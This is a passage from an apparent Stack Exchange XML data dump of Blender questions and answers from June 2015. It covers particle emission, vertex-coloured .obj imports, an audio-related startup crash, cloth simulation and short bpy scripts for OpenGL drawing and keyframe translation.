LastEditDate="2015-06-07T18:20:05.487" LastActivityDate="2015-06-07T18:20:05.487" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="31990" PostTypeId="2" ParentId="31968" CreationDate="2015-06-05T16:10:50.027" Score="1" Body="&lt;p&gt;OK, I solved the crash situation changing the handler from :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;frame_change_post&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;frame_change_pre&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which makes sense...&lt;/p&gt;&#xA;" OwnerUserId="5482" LastActivityDate="2015-06-05T16:10:50.027" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31991" PostTypeId="1" CreationDate="2015-06-05T17:29:28.593" Score="0" ViewCount="312" Body="&lt;p&gt;Would someone let me know how I can get the depth map for each frame of my rendered animation? By depth map, I mean an image that shows the distance of each point on objects from the camera.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems there are some ways using Node Editor, but I have to do that completely with python scripting. &lt;/p&gt;&#xA;" OwnerUserId="14810" LastEditorUserId="3710" LastEditDate="2015-06-06T12:41:43.597" LastActivityDate="2015-06-06T12:41:43.597" Title="Game Engine - Getting depth map" Tags="&lt;python&gt;&lt;scripting&gt;&lt;game-engine&gt;&lt;image&gt;" AnswerCount="0" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="31992" PostTypeId="1" AcceptedAnswerId="31995" CreationDate="2015-06-05T17:34:44.320" Score="1" ViewCount="738" Body="&lt;p&gt;So, I'm attempting to create random lit windows for buildings in a scene, and someone suggested using a particle system and use the textures as emission planes. So far I can create the lights, but getting them where I want them, and making them the size of the faces is another story. Here's what is happening:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QCxGw.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Above I tried setting up a mesh that consisted of faces for each window (green), and a vertex group to go with it (weight 1.0). I couldn't get the particles to stay in the faces as shown. I also moved the particle system to the building, and used a copy of the specular map texture to control it, while using the influence of size/length (1.0) for the particles. Still, the result was like the above. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It feels like I'm missing something small, but not obvious. I'm wanting the emission to come from the separate faces, or from the black portions of the texture, as well as each being the size of each. Can anyone shed some light on this issue? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="14374" LastActivityDate="2015-06-06T17:34:18.120" Title="How to constrain emission particles?" Tags="&lt;texturing&gt;&lt;particles&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31993" PostTypeId="1" AcceptedAnswerId="31996" CreationDate="2015-06-05T18:03:21.187" Score="7" ViewCount="381" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4EkGc.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a low resolution Image I want to recreate as a 3D object. I was thinking of making 7 separate &quot;layers&quot; to depict foreground and background elements. Basically, once the layers were complete they would stack to create a 3D picture. Each layer would have its own textured color. I would combine them at different depths.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am bit unsure how to proceed with the process of this. Would it be best to create each layer, extrude to the right depth and then snap them together and join them into a single object? The idea is to 3D print this as a personal project. Reference is attached.&lt;/p&gt;&#xA;" OwnerUserId="14828" LastEditorUserId="3078" LastEditDate="2015-06-05T20:35:03.030" LastActivityDate="2015-06-05T20:35:03.030" Title="How can I convert a low resolution image to a mesh?" Tags="&lt;modeling&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31994" PostTypeId="1" CreationDate="2015-06-05T18:14:10.890" Score="2" ViewCount="643" Body="&lt;p&gt;How to convert this logic to python code?&#xA;&lt;img src=&quot;https://i.stack.imgur.com/RW9vd.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7720" LastEditorUserId="3401" LastEditDate="2015-06-06T09:47:55.540" LastActivityDate="2015-10-31T00:38:04.823" Title="How to convert this logic to python code?" Tags="&lt;python&gt;&lt;game-engine&gt;&lt;logic-bricks&gt;&lt;properties&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31995" PostTypeId="2" ParentId="31992" CreationDate="2015-06-05T18:46:18.230" Score="2" Body="&lt;ul&gt;&#xA;&lt;li&gt;Animation below.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rrn5Q.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;In the image below note the settings Particles/Face set to 1. Face Jittered Random. These setting respect the faces created in the geometry.  This the preferred setting for more varied geometry. The image has an extra windows on the right side to show how these settings respect faces.  Plane subdivision is a requirement.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xbksj.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6076" LastEditorUserId="6076" LastEditDate="2015-06-06T17:34:18.120" LastActivityDate="2015-06-06T17:34:18.120" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="31996" PostTypeId="2" ParentId="31993" CreationDate="2015-06-05T18:46:23.947" Score="5" Body="&lt;p&gt;Maybe you should model the whole scene (make some quick low-poly models) and then use the &lt;strong&gt;&lt;em&gt;Remesh Modifier&lt;/em&gt;&lt;/strong&gt;. Set its mode to &lt;em&gt;Blocks&lt;/em&gt;. Apply the modifier and then paint the model.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/7bYt5.jpg&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/W3Kz5.jpg&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/m0Lio.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7797" LastEditorUserId="7797" LastEditDate="2015-06-05T19:11:34.247" LastActivityDate="2015-06-05T19:11:34.247" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31997" PostTypeId="1" AcceptedAnswerId="31999" CreationDate="2015-06-05T19:30:15.890" Score="2" ViewCount="7474" Body="&lt;p&gt;I have an .obj of a model that was polypainted (vertex painted) in ZBrush. I would like to import it into Blender and see the vertex painting in the 3D Viewport. Instructions for doing this in Blender Render and Cycles would be appreciated. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have already discovered how to export a .wrl file from ZBrush and import it into Blender following the following workflow:&#xA;-Export the model from ZBrush via Zplugin&gt;3D Print Exporter&gt;VRML.&#xA;-Enable “Import-Export: Web3D X3D/VRML2” plugin.&#xA;-Import the .wrl file, set Shading Mode to GLSL, enable Textured Solid and set the 3D Viewport to Solid shade mode.&#xA;This can also be accomplished with the ZBrush PLY import-export plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to know (if it is even possible) what the workflow is for doing this with an .obj file so that I can see the vertex colors like I can see them when opening the .obj in TopoGun or 3D-Coat. In either of those programs I don't have to set up materials or nodework (if it were possible) in order to make vertex painting visible and so that is what I am seeking here, just as it works with a .wrl file but using an obj.&lt;/p&gt;&#xA;" OwnerUserId="9504" LastEditorUserId="9504" LastEditDate="2015-06-06T14:37:34.487" LastActivityDate="2021-02-17T03:22:52.590" Title="How can I get vertex painted .obj files to import into Blender?" Tags="&lt;vertex-colors&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31998" PostTypeId="1" AcceptedAnswerId="32011" CreationDate="2015-06-05T21:07:30.483" Score="0" ViewCount="135" Body="&lt;p&gt;I have noticed that when I edit something in the viewport, then hit &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Z&lt;/kbd&gt; (still in the viewport) the compositor (open in new region) will still update like I edited a node or had hovered over the compositor node setup while performing the key command. Is this a known issue, or is it a bug? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do any of you have the same issue?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using Blender 2.74 &lt;/p&gt;&#xA;" OwnerUserId="6204" LastActivityDate="2015-06-06T11:02:56.213" Title="Ctrl+Z in Viewport triggers compositor" Tags="&lt;compositor&gt;&lt;shortcut&gt;" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="31999" PostTypeId="2" ParentId="31997" CreationDate="2015-06-05T21:12:59.300" Score="2" Body="&lt;p&gt;&lt;strong&gt;june 2015&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Vertex Colors are not part of the &lt;a href=&quot;http://en.wikipedia.org/wiki/Wavefront_.obj_file&quot; rel=&quot;nofollow noreferrer&quot;&gt;.obj file type specification - see section on Geometric Vertex&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However some programs use an unofficial &lt;a href=&quot;https://gamedev.stackexchange.com/questions/21303/how-can-i-include-vertex-color-information-in-obj-files&quot;&gt;extended format&lt;/a&gt; for inter-change and add &lt;code&gt;r,g,b&lt;/code&gt; information on the same line as the vertex coordinates.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# standard format (v: x y z)&#xA;v 1.0 1.2 0.3 &#xA;&#xA;# extended format (v: x y z r g b)&#xA;v 1.0 1.2 0.3 0.5 0.2 0.2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Blender's &lt;code&gt;.obj&lt;/code&gt; importer ignores everything after the x y z, therefore at this moment vertex colors are not parsed in any form.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;If there was a color map (vertex colours) associated with the mesh, you'd  see it listed in &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;em&gt;menu:&lt;/em&gt; Properties -&gt; &lt;em&gt;tab:&lt;/em&gt; Data -&gt; &lt;em&gt;subheading:&lt;/em&gt; Vertex Colors&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If there's nothing there then there's nothing to show.&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="-1" LastEditDate="2017-04-13T12:18:55.973" LastActivityDate="2015-06-06T17:48:06.597" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="32001" PostTypeId="2" ParentId="31919" CreationDate="2015-06-05T23:23:22.490" Score="1" Body="&lt;p&gt;This is an anser to your second question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yes, you can have textures and materials at the same time. In fact, you can't have textures without materials.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In cycles, you add an image texture node (found in texture, image), and then you select the path to your image, and simply connect that into the color input of the shader you want to color (or node that you want to input a texture to)&#xA;&lt;img src=&quot;https://i.stack.imgur.com/F1tuf.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="8262" LastActivityDate="2015-06-05T23:23:22.490" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32003" PostTypeId="1" CreationDate="2015-06-06T01:24:25.970" Score="6" ViewCount="3632" Body="&lt;p&gt;Here is the message that gets displayed:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;AL lib: (EE) UpdateDeviceParams: Failed to set 44100hz, got 4800hz instead&#xA;found bundled python: D:\Blender\2.74\python &#xA;Blender quit&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've reinstalled twice and get the same problem. Not sure what I should do to get the program back up and running.&lt;/p&gt;&#xA;" OwnerUserId="14830" LastEditorUserId="8262" LastEditDate="2015-06-06T01:50:52.360" LastActivityDate="2017-05-14T06:42:04.143" Title="Blender 2.74 Windows 64bit quits and displays hz issue" Tags="&lt;windows&gt;&lt;installation&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32004" PostTypeId="1" CreationDate="2015-06-06T01:49:48.733" Score="1" ViewCount="689" Body="&lt;p&gt;Very new to Blender, and I was wondering what I am doing wrong if the material shows up in renders (while in cycles), but when I export the .obj, and then import it again, the material is only applied to a fraction of the model.&lt;/p&gt;&#xA;" OwnerUserId="14831" LastEditorUserId="3710" LastEditDate="2015-06-06T13:24:47.857" LastActivityDate="2015-06-07T07:36:57.863" Title="Material importing and exporting problems (wavefront .obj format)" Tags="&lt;materials&gt;&lt;export&gt;&lt;import&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32005" PostTypeId="2" ParentId="32003" CreationDate="2015-06-06T02:07:56.310" Score="6" Body="&lt;p&gt;It looks like it is having issues with the audio configuration.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go to where Blender is installed in the Windows Explorer. The Default Installation Path is C:\Program Files\Blender Foundation\Blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When inside the Blender Folder, hold down the &lt;em&gt;Shift key&lt;/em&gt;, and &lt;em&gt;right-click&lt;/em&gt; any folder inside the &lt;strong&gt;Blender Folder&lt;/strong&gt; (the 2.74 folder will work just fine), then choose the option &quot;&lt;em&gt;Open Command Window here&lt;/em&gt;&quot;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With the new &lt;strong&gt;command window&lt;/strong&gt; open, you should have a prompt that looks like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;C:\Program Files\Blender Foundation\Blender&gt;&lt;/em&gt; or one reflecting the path to the Blender folder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From that prompt, type:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;blender.exe -noaudio&lt;/code&gt; (make sure there is a &lt;em&gt;space&lt;/em&gt; between the &quot;exe&quot; and the &quot;-&quot;. Blender should start like normal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also set it to use a specific sound system:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;blender.exe -setaudio SDL&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other options include, NULL, OPENAL, and JACK. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it still crashes, start Blender with the debug flag to show any other errors or issues leading up to this error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;blender.exe -d&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="14374" LastEditorUserId="12" LastEditDate="2015-06-06T15:18:00.543" LastActivityDate="2015-06-06T15:18:00.543" CommentCount="18" ContentLicense="CC BY-SA 3.0" />
  <row Id="32006" PostTypeId="2" ParentId="31979" CreationDate="2015-06-06T02:30:04.770" Score="1" Body="&lt;p&gt;I liked your solution @Antonioya. You can clear the even more script. For example, this script here already is with draw_callback_px function and with a modal. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import bgl&#xA;import blf&#xA;&#xA;def draw_callback_px(self, context):&#xA;&#xA;    font_id = 0  # XXX, need to find out how best to get this.&#xA;&#xA;    # draw some text&#xA;    bgl.glColor4f(1.0, 1.0, 1.0, 0.8)&#xA;    blf.position(font_id, 15, 30, 0)&#xA;    blf.size(font_id, 20, 72)&#xA;    blf.draw(font_id, &quot;Hello Word &quot; )&#xA;&#xA;    bgl.glEnable(bgl.GL_BLEND)&#xA;    bgl.glColor4f(0.0, 0.0, 0.0, 0.5)&#xA;    bgl.glLineWidth(20)&#xA;&#xA;    bgl.glBegin(bgl.GL_LINE_STRIP)&#xA;    bgl.glColor3f(1.0, 0.0, 0.0)&#xA;    bgl.glVertex2f(100, 250)&#xA;    bgl.glVertex2f(400, 300)&#xA;    bgl.glEnd()&#xA;&#xA;    # restore opengl defaults&#xA;    bgl.glLineWidth(1)&#xA;    bgl.glDisable(bgl.GL_BLEND)&#xA;    bgl.glColor4f(0.0, 0.0, 0.0, 1.0)&#xA;&#xA;class ModalDrawOperator(bpy.types.Operator):&#xA;    &quot;&quot;&quot;Draw a line with the mouse&quot;&quot;&quot;&#xA;    bl_idname = &quot;view3d.modal_operator&quot;&#xA;    bl_label = &quot;Simple Modal View3D Operator&quot;&#xA;&#xA;    def modal(self, context, event):&#xA;        context.area.tag_redraw()&#xA;&#xA;        if event.type == 'LEFTMOUSE' and event.value == 'PRESS':&#xA;&#xA;            # Image resolution&#xA;            u = 800&#xA;            v = 600&#xA;&#xA;            #bgl.glDisable(bgl.GL_SCISSOR_TEST)&#xA;            bgl.glViewport(0, 0, u, v)&#xA;&#xA;            bgl.glMatrixMode(bgl.GL_PROJECTION)&#xA;            #bgl.glPushMatrix()&#xA;            bgl.glLoadIdentity()&#xA;            rx = context.region.width&#xA;            ry = context.region.height&#xA;            bgl.gluOrtho2D(0, rx, 0, ry)&#xA;&#xA;            bgl.glClearColor(0.0, 0.0, 0.0, 0.0)&#xA;            bgl.glClear(bgl.GL_COLOR_BUFFER_BIT | bgl.GL_DEPTH_BUFFER_BIT)&#xA;&#xA;            draw_callback_px(self, context)&#xA;&#xA;            bgl.glFinish()&#xA;            out = bpy.data.images.new(&quot;output&quot;, u, v)&#xA;            buffer = bgl.Buffer(bgl.GL_FLOAT, u * v * 4)&#xA;            bgl.glReadPixels(0, 0, u, v , bgl.GL_RGBA, bgl.GL_FLOAT, buffer)&#xA;            out.pixels = buffer[:]&#xA;            out.gl_free()&#xA;            #bgl.glEnable(bgl.GL_SCISSOR_TEST)&#xA;&#xA;        elif event.type in {'ESC'}:&#xA;            for a in bpy.data.images:&#xA;                a.gl_free()&#xA;&#xA;            bpy.types.SpaceView3D.draw_handler_remove(self._handle, 'WINDOW')&#xA;            return {'CANCELLED'}&#xA;&#xA;        return {'PASS_THROUGH'}&#xA;&#xA;    def invoke(self, context, event):&#xA;        if context.area.type == 'VIEW_3D':&#xA;            # the arguments we pass the the callback&#xA;            args = (self, context)&#xA;            # Add the region OpenGL drawing callback&#xA;            # draw in view space with 'POST_PIXEL', 'POST_VIEW' or 'PRE_VIEW'&#xA;            self._handle = bpy.types.SpaceView3D.draw_handler_add(draw_callback_px, args, 'WINDOW', 'POST_PIXEL')&#xA;&#xA;            self.mouse_path = event.mouse_region_x, event.mouse_region_y&#xA;&#xA;            context.window_manager.modal_handler_add(self)&#xA;            return {'RUNNING_MODAL'}&#xA;        else:&#xA;            self.report({'WARNING'}, &quot;View3D not found, cannot run operator&quot;)&#xA;            return {'CANCELLED'}&#xA;&#xA;&#xA;def register():&#xA;    bpy.utils.register_class(ModalDrawOperator)&#xA;&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_class(ModalDrawOperator)&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What it does ...&#xA;when you press the left mouse button, the script takes the resolution you set for the image, clean (alpha = 0) OpenGL that is in the background, draws once callback function, creates a new image, reads the OpenGL pixels, draws those pixels in the new image and ends.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TSERp.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11288" LastEditorUserId="11288" LastEditDate="2015-06-06T15:55:03.873" LastActivityDate="2015-06-06T15:55:03.873" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="32007" PostTypeId="1" CreationDate="2015-06-06T02:56:21.307" Score="2" ViewCount="1277" Body="&lt;p&gt;I'm working on a bathroom interior, and I was trying to shape the shower curtain by following this tutorial:&lt;br&gt;&#xA;&lt;a href=&quot;https://www.youtube.com/watch?v=ssYemC0j6Ag&quot; rel=&quot;nofollow noreferrer&quot;&gt;Modeling with Cloth Simulation in Blender&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For some reason, after I selected the pinned verticies group, and ran the simulation, the cloth was affected by the pinned verticies, and also sagged, but all the movement was done in one plane, so there were no wrinkles.  How can I fix this?  Here is an image of one of my tests so you can see what is happening:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Efgsh.png&quot; alt=&quot;incorrect cloth simulation&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are my Physics Settings (As far as I know, they are the same as what he has, and also, I have animated shape keys so that the cloth would fold).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4y9ix.png&quot; alt=&quot;Physics Settings&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the .blend:&#xA;&lt;a href=&quot;https://drive.google.com/file/d/0B5Rj7h_MP4waeU5yc3ZyV0VZQlU/view?usp=sharing&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://drive.google.com/file/d/0B5Rj7h_MP4waeU5yc3ZyV0VZQlU/view?usp=sharing&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12805" LastEditorUserId="2217" LastEditDate="2015-11-22T22:58:48.213" LastActivityDate="2015-11-22T22:58:48.213" Title="Cloth simulation staying in plane" Tags="&lt;cloth-simulation&gt;" AnswerCount="1" CommentCount="18" ContentLicense="CC BY-SA 3.0" />
  <row Id="32009" PostTypeId="2" ParentId="32007" CreationDate="2015-06-06T03:44:26.377" Score="3" Body="&lt;p&gt;The problem was that I was trying to do a cloth simulation inside a scene with several objects already inside.  Many people had the same problem in the comments on this video:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=ssYemC0j6Ag&quot; rel=&quot;nofollow&quot;&gt;Modeling with Cloth Simulation in Blender&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The trick was to do the cloth sim in a different scene and then import the mesh into the scene you want to use it in.&lt;/p&gt;&#xA;" OwnerUserId="12805" LastEditorUserId="2217" LastEditDate="2015-11-22T22:57:32.667" LastActivityDate="2015-11-22T22:57:32.667" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32010" PostTypeId="2" ParentId="31939" CreationDate="2015-06-06T09:23:51.350" Score="1" Body="&lt;p&gt;You want to translate, in time, the selected keyframes in the Dope Editor, via a script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Run this in the Text Editor.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;for area in bpy.context.screen.areas:&#xA;    if area.type == 'DOPESHEET_EDITOR':&#xA;        ctx = bpy.context.copy()&#xA;        ctx['area'] = area # not actually needed...&#xA;        ctx['region'] = area.regions[-1] # ... just be nice&#xA;&#xA;        bpy.ops.transform.transform(ctx,&#xA;            mode='TIME_TRANSLATE',&#xA;            value=(20, 0, 0, 0),&#xA;            axis=(0, 0, 0),&#xA;            proportional='DISABLED',&#xA;            constraint_orientation='GLOBAL')&#xA;&#xA;        break&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The downside is that a 'DOPESHEET_EDITOR' does need to be open.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Answer partially hoisted from: &lt;a href=&quot;https://blender.stackexchange.com/a/8444/47&quot;&gt;https://blender.stackexchange.com/a/8444/47&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.940" LastActivityDate="2015-06-06T09:29:59.863" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="32011" PostTypeId="2" ParentId="31998" CreationDate="2015-06-06T11:02:56.213" Score="1" Body="&lt;p&gt;&lt;kbd&gt;&amp;#9096; Ctrl&lt;/kbd&gt;&lt;kbd&gt;Z&lt;/kbd&gt; is the shortcut for undo, if you have global undo enabled in preferences (which is enabled by default) then the undo stack can contain steps from multiple windows, this means that undo may change the node editor if you made a change there before going to the 3dview and doing undo.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2015-06-06T11:02:56.213" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32013" PostTypeId="2" ParentId="31644" CreationDate="2015-06-06T12:18:05.810" Score="5" Body="&lt;p&gt;1a.  The technique you are looking for is called Convex Decomposition and there is a fair amount of research on it.  It's good for skeletonizing meshes for rigging, and I'm sure many other useful things.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://masc.cs.gmu.edu/wiki/ACD&quot;&gt;http://masc.cs.gmu.edu/wiki/ACD&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1b.  I do not believe there is any way to do this automatically in blender natively.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1c.  There is an addon to do this volume decomposition in blender, it relies on external code library and is more targetdd at the game engine however you may be able to tailor it's results to your needs.  This is an approximate decomposition.&#xA;&lt;a href=&quot;http://blenderartists.org/forum/showthread.php?357513-Volumetric-Hierarchical-Approximate-Convex-Decomposition-%28e-g-for-BGE-Physics%29&quot;&gt;http://blenderartists.org/forum/showthread.php?357513-Volumetric-Hierarchical-Approximate-Convex-Decomposition-%28e-g-for-BGE-Physics%29&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2a. If your method is actually going to create interior geometry in the same mesh, then finding the non manifold edges and then interior faces is not a big deal. However my answer above is going to create approximate new objects&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2b.  If you are able to split your mesh into groups of verts, using the bmesh convex hull modifier will tell you what new geomtry it creates.  By the definitition of your problem, all the new geometry will be the&lt;/p&gt;&#xA;" OwnerUserId="2772" LastActivityDate="2015-06-06T12:18:05.810" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32015" PostTypeId="1" AcceptedAnswerId="32039" CreationDate="2015-06-06T14:54:28.243" Score="2" ViewCount="796" Body="&lt;p&gt;I am trying to render a Minecraft scene generated by Mineways. Quite simply, some of the blocks seem to have transparent edges, as in some cases the &quot;sky&quot; colour (plain blue for now) is showing through while in other areas there are visible &quot;seams&quot; between the blocks, implying that the adjacent blocks are showing through.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the picture below this issue is most noticeable around the base of the tree in the foreground to the right and along the bank behind the tree (where the blue sky is showing through) and on the logs at the front of the greenhouse (where there are visible &quot;lines&quot; between the log blocks which seem to be caused by the same issue as these lines go away if I turn off the texture's alpha channel). (Don't worry about the weird lighting/shadows - I'm trying to light the scene from inside the greenhouse but have not finished setting up the lighting yet.)&#xA;&lt;img src=&quot;https://i1383.photobucket.com/albums/ah291/Micheal98/Stack%20Exchange/untitled_zpsbwn3bfs5.png&quot; alt=&quot;screenshot&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: Here is the .blend file (ultimately this will be the background for another scene, hence the name background.blend). I would appreciate it if, if you make any changes, you let me know what they are instead of just uploading a modified file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://drive.google.com/file/d/0Bzg8zit7X1NALWtPM0RUN0tPdU0/view?usp=sharing&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://drive.google.com/file/d/0Bzg8zit7X1NALWtPM0RUN0tPdU0/view?usp=sharing&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT 2: Here is a .zip file containing both the .blend file and the accompanying texture files. Note that the .blend file in this archive is slightly different to the .blend file above as I had to change the textures to use the correct file path to work when the .zip file is extracted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://drive.google.com/file/d/0Bzg8zit7X1NANzN3cGIyUl9tSFk/view?usp=sharing&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://drive.google.com/file/d/0Bzg8zit7X1NANzN3cGIyUl9tSFk/view?usp=sharing&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14836" LastEditorUserId="-1" LastEditDate="2017-03-10T09:42:46.450" LastActivityDate="2015-06-07T08:59:24.070" Title="Weird alpha bleeding" Tags="&lt;rendering&gt;&lt;blender-internal-render-engine&gt;&lt;transparency&gt;" AnswerCount="1" CommentCount="12" ContentLicense="CC BY-SA 3.0" />
  <row Id="32017" PostTypeId="1" CreationDate="2015-06-03T22:37:13.730" Score="4" ViewCount="158" Body="&lt;p&gt;I am fairly new to blender and I want to simulate an environment of bees flying in and out of a bee hive, collecting nectar from flowers which are randomly placed in the environment and go back to the hive. In the hive, a few bees should be simply flying around.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can this be done in blender? Should I use additional modules?&lt;/p&gt;&#xA;" OwnerDisplayName="user1188979" LastEditorUserId="3710" LastEditDate="2015-06-06T15:27:43.643" LastActivityDate="2015-06-18T19:55:39.057" Title="Can honey bee colony simulation be done in Blender?" Tags="&lt;animation&gt;&lt;particles&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
